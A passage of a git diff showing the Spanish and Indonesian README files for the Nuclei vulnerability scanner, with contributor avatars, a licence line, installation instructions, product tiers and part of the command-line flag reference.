<a href="https://github.com/tonghuaroot"><img src="https://avatars.githubusercontent.com/u/23011166?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/praetorian-thendrickson"><img src="https://avatars.githubusercontent.com/u/69640071?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/S0obi"><img src="https://avatars.githubusercontent.com/u/4180104?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/skahn007gl"><img src="https://avatars.githubusercontent.com/u/144735608?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/shouichi"><img src="https://avatars.githubusercontent.com/u/99586?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/seb-elttam"><img src="https://avatars.githubusercontent.com/u/111818823?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/AdallomRoy"><img src="https://avatars.githubusercontent.com/u/4046118?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rotemreiss"><img src="https://avatars.githubusercontent.com/u/9288082?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/oscarintherocks"><img src="https://avatars.githubusercontent.com/u/1785821?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xxcdd"><img src="https://avatars.githubusercontent.com/u/42600601?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/chen2aaron"><img src="https://avatars.githubusercontent.com/u/9978183?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/voidz0r"><img src="https://avatars.githubusercontent.com/u/1032286?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vince-isec"><img src="https://avatars.githubusercontent.com/u/149686094?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/true13"><img src="https://avatars.githubusercontent.com/u/18207552?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/skhalsa-sigsci"><img src="https://avatars.githubusercontent.com/u/68570441?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ShuBo6"><img src="https://avatars.githubusercontent.com/u/41125338?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/seeyarh"><img src="https://avatars.githubusercontent.com/u/16869800?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/securibee"><img src="https://avatars.githubusercontent.com/u/51520913?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sduc"><img src="https://avatars.githubusercontent.com/u/2879617?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/scottdharvey"><img src="https://avatars.githubusercontent.com/u/25498254?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rykkard"><img src="https://avatars.githubusercontent.com/u/51889048?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/monitor403"><img src="https://avatars.githubusercontent.com/u/45124775?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mlec1"><img src="https://avatars.githubusercontent.com/u/42201667?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/meme-lord"><img src="https://avatars.githubusercontent.com/u/17912559?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/LazyMaple"><img src="https://avatars.githubusercontent.com/u/12314941?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lvyaoting"><img src="https://avatars.githubusercontent.com/u/166296299?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/llussy"><img src="https://avatars.githubusercontent.com/u/18432966?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/linchizhen"><img src="https://avatars.githubusercontent.com/u/170242051?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kiokuless"><img src="https://avatars.githubusercontent.com/u/110003596?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Jarnpher553"><img src="https://avatars.githubusercontent.com/u/10233873?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/c-f"><img src="https://avatars.githubusercontent.com/u/35263248?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hanghuge"><img src="https://avatars.githubusercontent.com/u/166206050?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/testwill"><img src="https://avatars.githubusercontent.com/u/8717479?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/galoget"><img src="https://avatars.githubusercontent.com/u/8353133?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/fudancoder"><img src="https://avatars.githubusercontent.com/u/171416994?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/revolunet"><img src="https://avatars.githubusercontent.com/u/124937?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jsoref"><img src="https://avatars.githubusercontent.com/u/2119212?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MachadoOtto"><img src="https://avatars.githubusercontent.com/u/93268441?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jonathanwalker"><img src="https://avatars.githubusercontent.com/u/14978093?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/nHurD"><img src="https://avatars.githubusercontent.com/u/233374?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jessekelly881"><img src="https://avatars.githubusercontent.com/u/22938931?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/JaneX8"><img src="https://avatars.githubusercontent.com/u/5116641?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/eltociear"><img src="https://avatars.githubusercontent.com/u/22633385?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/atomiczsec"><img src="https://avatars.githubusercontent.com/u/75549184?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/M-Faheem-Khan"><img src="https://avatars.githubusercontent.com/u/17150767?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/denandz"><img src="https://avatars.githubusercontent.com/u/5291556?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tibbon"><img src="https://avatars.githubusercontent.com/u/82880?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dany74q"><img src="https://avatars.githubusercontent.com/u/2129762?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/0x123456789"><img src="https://avatars.githubusercontent.com/u/36066426?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/danigoland"><img src="https://avatars.githubusercontent.com/u/15079567?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ChrisMandich"><img src="https://avatars.githubusercontent.com/u/14286797?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/austintraver"><img src="https://avatars.githubusercontent.com/u/25112463?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/socialsister"><img src="https://avatars.githubusercontent.com/u/155628741?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Anemys"><img src="https://avatars.githubusercontent.com/u/51196227?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/andreangelucci"><img src="https://avatars.githubusercontent.com/u/18552197?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/AlexS778"><img src="https://avatars.githubusercontent.com/u/98418121?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/noraj"><img src="https://avatars.githubusercontent.com/u/16578570?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/akkuman"><img src="https://avatars.githubusercontent.com/u/7813511?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zrquan"><img src="https://avatars.githubusercontent.com/u/33086594?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/1efty"><img src="https://avatars.githubusercontent.com/u/18194777?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rsrdesarrollo"><img src="https://avatars.githubusercontent.com/u/5142014?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/razin99"><img src="https://avatars.githubusercontent.com/u/44442082?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MetzinAround"><img src="https://avatars.githubusercontent.com/u/65838556?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vil02"><img src="https://avatars.githubusercontent.com/u/65706193?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mrschyte"><img src="https://avatars.githubusercontent.com/u/8571?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/PeterDaveHello"><img src="https://avatars.githubusercontent.com/u/3691490?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/parthmalhotra"><img src="https://avatars.githubusercontent.com/u/28601533?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/owenrumney"><img src="https://avatars.githubusercontent.com/u/3049157?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Ovi3"><img src="https://avatars.githubusercontent.com/u/29408109?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Bisstocuz"><img src="https://avatars.githubusercontent.com/u/42398278?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/daffainfo"><img src="https://avatars.githubusercontent.com/u/36522826?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mhmdiaa"><img src="https://avatars.githubusercontent.com/u/19687798?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MiryangJung"><img src="https://avatars.githubusercontent.com/u/48237511?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/0xmin"><img src="https://avatars.githubusercontent.com/u/44919834?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/maikthulhu"><img src="https://avatars.githubusercontent.com/u/680830?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sttlr"><img src="https://avatars.githubusercontent.com/u/40246850?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iamRjarpan"><img src="https://avatars.githubusercontent.com/u/45498226?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/leoloobeek"><img src="https://avatars.githubusercontent.com/u/8801754?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KristinnVikar"><img src="https://avatars.githubusercontent.com/u/93918469?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kant01ne"><img src="https://avatars.githubusercontent.com/u/5072452?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KeisukeYamashita"><img src="https://avatars.githubusercontent.com/u/23056537?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/1hehaq"><img src="https://avatars.githubusercontent.com/u/162917546?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
</p>
|
||||
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<div align="center">
|
||||
|
||||
<sub>**`nuclei`** se distribuye bajo la [**Licencia MIT**](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)</sub>
|
||||
|
||||
</div>
|
||||
+470
-213
@@ -1,93 +1,135 @@
|
||||
<h1 align="center">
|
||||
<br>
|
||||
<a href="https://nuclei.projectdiscovery.io"><img src="static/nuclei-logo.png" width="200px" alt="Nuclei"></a>
|
||||
</h1>
|
||||
|
||||
<h4 align="center">Pemindai kerentanan yang cepat dan dapat disesuaikan berdasarkan DSL berbasis YAML sederhana.</h4>
|
||||

|
||||
|
||||
<div align="center">
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">`English`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">`中文`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">`Korean`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">`Indonesia`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
|
||||
</div>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei?filename=v2%2Fgo.mod">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/downloads/projectdiscovery/nuclei/total">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors"><img src="https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases/"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/issues"><img src="https://img.shields.io/github/issues-raw/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/discussions"><img src="https://img.shields.io/github/discussions/projectdiscovery/nuclei">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
|
||||
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#cara-kerja">Cara Kerja</a> •
|
||||
<a href="#instalasi-nuclei">Instalasi</a> •
|
||||
<a href="#untuk-insinyur-keamanan">Untuk Teknisi Keamanan</a> •
|
||||
<a href="#untuk-pengembang-dan-organisasi">Untuk Pengembang</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/nuclei/get-started/">Dokumentasi</a> •
|
||||
<a href="#kredit">Kredit</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">Tanya Jawab</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Gabung Discord</a>
|
||||
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/overview?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Documentation-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMiIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBjbGFzcz0ibHVjaWRlIGx1Y2lkZS1ib29rLW9wZW4iPjxwYXRoIGQ9Ik0xMiA3djE0Ii8+PHBhdGggZD0iTTMgMThhMSAxIDAgMCAxLTEtMVY0YTEgMSAwIDAgMSAxLTFoNWE0IDQgMCAwIDEgNCA0IDQgNCAwIDAgMSA0LTRoNWExIDEgMCAwIDEgMSAxdjEzYTEgMSAwIDAgMS0xIDFoLTZhMyAzIDAgMCAwLTMgMyAzIDMgMCAwIDAtMy0zeiIvPjwvc3ZnPg==&logoColor=white"></a>
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei-templates"><img src="https://img.shields.io/badge/Templates Library-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMS41IiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLXNoaWVsZCI+PHBhdGggZD0iTTIwIDEzYzAgNS0zLjUgNy41LTcuNjYgOC45NWExIDEgMCAwIDEtLjY3LS4wMUM3LjUgMjAuNSA0IDE4IDQgMTNWNmExIDEgMCAwIDEgMS0xYzIgMCA0LjUtMS4yIDYuMjQtMi43MmExLjE3IDEuMTcgMCAwIDEgMS41MiAwQzE0LjUxIDMuODEgMTcgNSAxOSA1YTEgMSAwIDAgMSAxIDF6Ii8+PC9zdmc+&logoColor=white"></a>
|
||||
|
||||
<a href="https://discord.gg/projectdiscovery?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Discord-%235865F2.svg?style=for-the-badge&logo=discord&logoColor=white"></a>
|
||||
|
||||
<hr>
|
||||
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">Portuguese</a>
|
||||
</p>
|
||||
<br>
|
||||
|
||||
---
|
||||
**Nuclei adalah pemindai kerentanan modern berkinerja tinggi yang memanfaatkan template berbasis YAML sederhana. Nuclei memungkinkan Anda merancang skenario deteksi kerentanan khusus yang meniru kondisi dunia nyata, sehingga menghasilkan nol false positive.**
|
||||
|
||||
Nuclei digunakan untuk mengirim permintaan lintas target berdasarkan templat, yang menghasilkan nol positif palsu dan menyediakan pemindaian yang cepat pada banyak host. Nuclei menawarkan pemindaian untuk berbagai protokol, termasuk TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless, dll. Dengan templating yang kuat dan fleksibel, Nuclei dapat digunakan untuk memodelkan semua jenis pemeriksaan keamanan.
|
||||
- Format YAML sederhana untuk membuat dan menyesuaikan template kerentanan.
|
||||
- Dikontribusikan oleh ribuan profesional keamanan untuk menangani kerentanan terkini.
|
||||
- Mengurangi false positive dengan mensimulasikan langkah-langkah dunia nyata untuk memverifikasi kerentanan.
|
||||
- Pemrosesan pemindaian paralel super cepat dan clustering permintaan.
|
||||
- Terintegrasi ke dalam pipeline CI/CD untuk deteksi kerentanan dan pengujian regresi.
|
||||
- Mendukung beragam protokol seperti TCP, DNS, HTTP, SSL, WHOIS, JavaScript, Code, dan lainnya.
|
||||
- Terintegrasi dengan Jira, Splunk, GitHub, Elastic, GitLab.
|
||||
|
||||
Kami memiliki [repositori khusus](https://github.com/projectdiscovery/nuclei-templates) yang menampung berbagai jenis templat kerentanan yang disumbangkan oleh **lebih dari 300** peneliti dan teknisi keamanan.
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Daftar Isi
|
||||
|
||||
## Cara Kerja
|
||||
- [**`Memulai`**](#memulai)
|
||||
- [_`1. Nuclei CLI`_](#1-nuclei-cli)
|
||||
- [_`2. Edisi Pro dan Enterprise`_](#2-edisi-pro-dan-enterprise)
|
||||
- [**`Dokumentasi`**](#dokumentasi)
|
||||
- [_`Flag Baris Perintah`_](#flag-baris-perintah)
|
||||
- [_`Pemindaian target tunggal`_](#pemindaian-target-tunggal)
|
||||
- [_`Pemindaian beberapa target`_](#pemindaian-beberapa-target)
|
||||
- [_`Pemindaian jaringan`_](#pemindaian-jaringan)
|
||||
- [_`Pemindaian dengan template kustom Anda`_](#pemindaian-dengan-template-kustom-anda)
|
||||
- [_`Menghubungkan Nuclei ke ProjectDiscovery`_](#menghubungkan-nuclei-ke-projectdiscovery)
|
||||
- [**`Template Nuclei, Komunitas dan Hadiah`**](#template-nuclei-komunitas-dan-hadiah-) 💎
|
||||
- [**`Misi Kami`**](#misi-kami)
|
||||
- [**`Kontributor`**](#kontributor-heart) ❤
|
||||
- [**`Lisensi`**](#lisensi)
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<h3 align="center">
|
||||
<img src="static/nuclei-flow.jpg" alt="nuclei-flow" width="700px"></a>
|
||||
</h3>
|
||||
## Memulai
|
||||
|
||||
### **1. Nuclei CLI**
|
||||
|
||||
# Instalasi Nuclei
|
||||
_Instal Nuclei pada mesin Anda. Mulai dengan mengikuti panduan instalasi [**`di sini`**](https://docs.projectdiscovery.io/tools/nuclei/install?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme). Selain itu, kami menyediakan [**`tier cloud gratis`**](https://cloud.projectdiscovery.io/sign-up) yang dilengkapi batas bulanan gratis yang melimpah:_
|
||||
|
||||
Nuclei membutuhkan **go1.24.2** agar dapat diinstall. Jalankan perintah berikut untuk menginstal versi terbaru -
|
||||
- Simpan dan visualisasikan temuan kerentanan Anda
|
||||
- Tulis dan kelola template nuclei Anda
|
||||
- Akses template nuclei terbaru
|
||||
- Temukan dan simpan target Anda
|
||||
|
||||
> [!Important]
|
||||
> |**Proyek ini sedang dalam pengembangan aktif**. Mengharapkan perubahan yang tidak kompatibel pada setiap rilis. Tinjau changelog rilis sebelum memperbarui.|
|
||||
> |:--------------------------------|
|
||||
> | Proyek ini terutama dibangun untuk digunakan sebagai alat CLI mandiri. **Menjalankan nuclei sebagai layanan dapat menimbulkan risiko keamanan.** Disarankan untuk menggunakannya dengan hati-hati dan langkah-langkah keamanan tambahan. |
|
||||
|
||||
<br>
|
||||
|
||||
### **2. Edisi Pro dan Enterprise**
|
||||
|
||||
_Untuk tim keamanan dan perusahaan, kami menyediakan layanan yang di-hosting di cloud yang dibangun di atas Nuclei OSS, disetel untuk membantu Anda menjalankan pemindaian kerentanan secara berkesinambungan dan dalam skala besar dengan tim dan alur kerja Anda yang sudah ada:_
|
||||
|
||||
- Pemindaian 50x lebih cepat
|
||||
- Pemindaian berskala besar dengan akurasi tinggi
|
||||
- Integrasi dengan layanan cloud (AWS, GCP, Azure, Cloudflare, Fastly, Terraform, Kubernetes)
|
||||
- Jira, Slack, Linear, API, dan Webhook
|
||||
- Pelaporan eksekutif dan kepatuhan
|
||||
- Plus: Pemindaian real-time, SAML SSO, platform yang patuh SOC 2 (dengan opsi hosting UE dan AS), workspace tim bersama, dan lainnya
|
||||
- Kami terus [**`menambahkan fitur baru`**](https://feedback.projectdiscovery.io/changelog)!
|
||||
- **Ideal untuk:** Pentester, tim keamanan, dan perusahaan
|
||||
|
||||
[**`Daftar ke Pro`**](https://projectdiscovery.io/pricing?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) atau [**`bicara dengan tim kami`**](https://projectdiscovery.io/request-demo?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) jika Anda memiliki organisasi besar dan kebutuhan yang kompleks.
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Dokumentasi
|
||||
|
||||
Telusuri [**`dokumentasi Nuclei lengkap di sini`**](https://docs.projectdiscovery.io/tools/nuclei/running). Jika Anda baru mengenal Nuclei, lihat [**`seri pengantar YouTube kami`**](https://www.youtube.com/playlist?list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl).
|
||||
|
||||
<div align="center">
|
||||
|
||||
<a href="https://www.youtube.com/watch?v=b5qMyQvL1ZA&list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-getting-started.png" width="350px"></a> <a href="https://www.youtube.com/watch?v=nFXygQdtjyw&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-write-your-first-template.png" width="350px"></a>
|
||||
|
||||
</div>
|
||||
|
||||
<br>
|
||||
|
||||
### Instalasi
|
||||
|
||||
`nuclei` memerlukan **go >= 1.24.2** agar dapat diinstal dengan sukses. Jalankan perintah berikut untuk mengambil repo:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
**Metode [instalasi lain dapat ditemukan di sini](https://nuclei.projectdiscovery.io/nuclei/get-started/).**
|
||||
Untuk informasi lebih lanjut tentang menginstal nuclei, lihat `https://docs.projectdiscovery.io/tools/nuclei/install`.
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
### Flag Baris Perintah
|
||||
|
||||
### Nuclei Templates
|
||||
|
||||
Nuclei memiliki dukungan untuk unduhan/pembaruan templat otomatis sebagai bawaan sejak versi [v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2). Proyek [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) menyediakan daftar template siap pakai yang dibuat oleh komunitas yang terus diperbarui.
|
||||
|
||||
Anda dapat menggunakan flag `-update-templates` untuk memperbarui templat inti kapan saja; Anda juga dapat menulis pemeriksaan Anda sendiri untuk alur kerja individu dan untuk kebutuhan Anda sendiri dengan mengikuti [panduan pembuatan templat Nuclei](https://nuclei.projectdiscovery.io/templating-guide/).
|
||||
|
||||
Untuk referensi penulisan sintaks DSL berbasis YAML tersedia [di sini](SYNTAX-REFERENCE.md).
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
### Cara Pakai
|
||||
Untuk menampilkan seluruh flag dari alat ini:
|
||||
|
||||
```sh
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
Ini akan menampilkan bantuan untuk alat tersebut. Berikut adalah semua flag yang didukungnya.
|
||||
<details>
|
||||
<summary>Buka semua flag bantuan</summary>
|
||||
|
||||
|
||||
```console
|
||||
```yaml
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.
|
||||
|
||||
@@ -96,11 +138,20 @@ Usage:
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-resume string resume scan from and save to specified file (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-targets-inline string inline multiline target list (for use in template profiles)
|
||||
-eh, -exclude-hosts string[] hosts to exclude to scan from the input list (ip, cidr, hostname)
|
||||
-resume string resume scan from and save to specified file (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
TARGET-FORMAT:
|
||||
-im, -input-mode string mode of input file (list, burp, jsonl, yaml, openapi, swagger, http) (default "list")
|
||||
-ro, -required-only use only required fields in input format when generating requests
|
||||
-sfv, -skip-format-validation skip format validation (like missing vars) when parsing input file
|
||||
-vtt, -vars-text-templating enable text templating for vars in input file (only for yaml input mode)
|
||||
-vfp, -var-file-paths string[] list of yaml file contained vars to inject into yaml input
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
@@ -108,29 +159,35 @@ TEMPLATES:
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
|
||||
-ai, -prompt string generate and run template using ai prompt
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all available templates
|
||||
-tl list all templates matching current filters
|
||||
-tgl list all available tags
|
||||
